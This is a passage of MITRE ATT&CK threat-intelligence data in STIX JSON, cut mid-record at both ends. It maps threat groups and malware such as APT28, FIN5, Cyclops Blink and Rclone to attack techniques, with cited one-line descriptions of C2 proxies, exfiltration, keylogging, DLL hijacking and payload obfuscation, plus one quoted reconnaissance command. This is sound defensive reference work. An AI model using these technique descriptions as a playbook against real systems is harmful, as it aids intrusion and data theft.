Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-14T21:04:45.633Z","description":"(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--b35068ec-107a-4266-bda8-eb7036267aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ab94260-498a-4090-85c9-54b89d8b6bb3","type":"relationship","created":"2021-06-08T13:36:23.784Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."}],"modified":"2021-06-08T13:36:23.784Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has the ability to use an embedded SOCKS proxy in C2 communications.(Citation: CISA AR21-126A FIVEHANDS May 2021)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1abf4f3f-85e7-4bd1-9432-bddd40a0ad75","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}],"modified":"2019-04-24T23:40:23.454Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) exfiltrates command output and collected files to its C2 server in 1500-byte blocks.(Citation: Unit 42 OopsIE! Feb 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45","type":"relationship","created":"2017-05-31T21:33:27.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://published-prd.lanyonevents.com/published/rsaus17/sessionsFiles/5009/HTA-F02-Detecting-and-Responding-to-Advanced-Threats-within-Exchange-Environments.pdf","description":"Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.","source_name":"RSA2017 Detect and Respond Adair"}],"modified":"2021-06-16T15:46:43.276Z","description":"[APT18](https://attack.mitre.org/groups/G0026) actors leverage legitimate credentials to log into external remote services.(Citation: RSA2017 Detect and Respond Adair)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ace08c6-0f1a-487d-92b2-6c61c2299270","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.730Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) uses [SDelete](https://attack.mitre.org/software/S0195) to clean up the environment and attempt to prevent detection.(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ad1048f-05ce-4bde-a570-6b4be5fbeb4c","type":"relationship","created":"2019-01-30T13:53:14.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2019-04-17T22:22:22.067Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\\SYSTEM).(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ad251b3-f49e-438d-98e0-3e310d683a8d","created":"2024-03-11T18:26:58.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T20:51:11.681Z","description":"[FRAMESTING](https://attack.mitre.org/software/S1120) uses a cookie named `DSID` to mimic the name of a cookie used by Ivanti Connect Secure appliances for maintaining VPN sessions.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--bcaae558-9697-47a2-9ec7-c75000ddf58c","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ad315e2-1693-427a-9a04-a613bd0e2f22","type":"relationship","created":"2020-05-11T18:05:53.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html","description":"Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.","source_name":"FireEye Hikit Rootkit"}],"modified":"2020-05-13T20:37:30.053Z","description":"[Hikit](https://attack.mitre.org/software/S0009) has used [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001) to load oci.dll as a persistence mechanism.(Citation: FireEye Hikit Rootkit)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1ad60707-d84f-4768-9013-6b499de49c40","created":"2022-03-03T16:46:03.873Z","x_mitre_version":"1.0","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can rename its running process to [kworker:0/1] to masquerade as a Linux kernel thread. [Cyclops Blink](https://attack.mitre.org/software/S0687) has also named RC scripts used for persistence after WatchGuard artifacts.(Citation: NCSC Cyclops Blink February 2022)","modified":"2022-04-18T13:57:48.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ad674bb-c8e1-4f19-b96e-f56bfa10797c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:31.906Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) used spearphishing emails with malicious Microsoft Word attachments to infect victims.(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ae1ce05-3db2-4a97-8e58-0ed3d65d9d22","type":"relationship","created":"2017-05-31T21:33:27.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf","description":"Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.","source_name":"Group-IB Anunak"}],"modified":"2020-03-28T00:22:40.140Z","description":"[Carbanak](https://attack.mitre.org/groups/G0008) may use [netsh](https://attack.mitre.org/software/S0108) to add local firewall rule exceptions.(Citation: Group-IB Anunak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ae24ad1-8730-4a38-8d68-dd57b335b9b4","created":"2022-08-30T13:03:18.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"},{"source_name":"Rclone","description":"Nick Craig-Wood. (n.d.). Rclone syncs your files to cloud storage. Retrieved August 30, 2022.","url":"https://rclone.org"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T14:34:39.467Z","description":"[Rclone](https://attack.mitre.org/software/S1040) can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA.(Citation: Rclone)(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ae53b90-59d3-4510-b0e8-686b7ea8e626","type":"relationship","created":"2019-01-30T13:53:14.920Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2019-04-17T22:22:22.030Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) can securely delete a file by hooking into the DeleteFileA and DeleteFileW functions in the Windows API.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ae7391e-c622-45ee-8f8d-dca29b8bfea8","created":"2022-09-16T15:48:43.804Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T15:48:43.804Z","description":"For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors obtained malware, including [Remcos](https://attack.mitre.org/software/S0332), [njRAT](https://attack.mitre.org/software/S0385), and AsyncRAT.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1aeb4dce-ac27-43ae-a0f4-1afcf84fc1a9","created":"2022-02-01T15:29:14.004Z","x_mitre_version":"1.0","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WIRTE](https://attack.mitre.org/groups/G0090) has sent emails to intended victims with malicious MS Word and Excel attachments.(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T17:03:36.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1aee1049-89be-45b8-ae2f-83bf4e35d5a3","type":"relationship","created":"2019-09-24T13:32:51.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."},{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"}],"modified":"2022-01-05T16:34:01.656Z","description":"(Citation: Talos ZxShell Oct 2014)(Citation: Cisco Group 72)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1aee2c50-660a-42ee-816d-5823ade525f3","type":"relationship","created":"2021-12-01T17:59:26.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T17:59:26.258Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to use TCP and UDP in C2 communications.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1af12953-edeb-4678-91e4-7c70000ee6c3","type":"relationship","created":"2020-02-20T22:10:20.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T22:10:20.630Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","target_ref":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b023598-278c-4a0f-b058-4d169b51f45a","type":"relationship","created":"2019-09-18T18:48:48.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/","description":"Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy’s Linux Backdoor. Retrieved September 10, 2017.","source_name":"Fysbis Palo Alto Analysis"}],"modified":"2020-03-16T16:48:48.111Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) can perform keylogging.(Citation: Fysbis Palo Alto Analysis) ","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b03ba23-cbf3-4a77-8c8b-233a19e42a0c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T21:16:54.723Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) can obtain a list of running processes on the victim’s machine.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020)","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b0ca110-bb1d-434d-a271-6574fdb11723","created":"2023-01-11T21:36:04.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T16:22:39.655Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has used a variety of Windows API calls, including `NtCurrentPeb` and `GetLogicalDrives`.(Citation: Malwarebytes AvosLocker Jul 2021)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b1027ff-81d2-4ae9-85ac-0d886dea8a04","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2020-03-28T21:25:27.362Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has created Windows tasks to establish persistence.(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471","type":"relationship","created":"2017-05-31T21:33:27.052Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.570Z","description":"[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to acquire information about local networks: ipconfig /all >> %temp%\\download(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330","created":"2017-05-31T21:33:27.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture SNAKEMACKEREL Nov 2018","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"},{"source_name":"Unit 42 Sofacy Feb 2018","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"source_name":"Talos Seduploader Oct 2017","description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T03:02:44.009Z","description":"[APT28](https://attack.mitre.org/groups/G0007) encrypted a .dll payload using RTL and a custom encryption algorithm. [APT28](https://attack.mitre.org/groups/G0007) has also obfuscated payloads with base64, XOR, and RC4.(Citation: Bitdefender APT28 Dec 2015)(Citation: Unit 42 Sofacy Feb 2018)(Citation: Palo Alto Sofacy 06-2018)(Citation: Talos Seduploader Oct 2017)(Citation: Accenture SNAKEMACKEREL Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1b16de68-c627-4f38-a85f-bbba2fef7e20","created":"2022-03-24T21:39:40.293Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can load additional files and tools, including [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T21:19:12.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b1a7abf-72bc-44fa-8f90-4321003f0553","created":"2023-03-29T15:55:54.119Z","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:55:54.119Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) has used 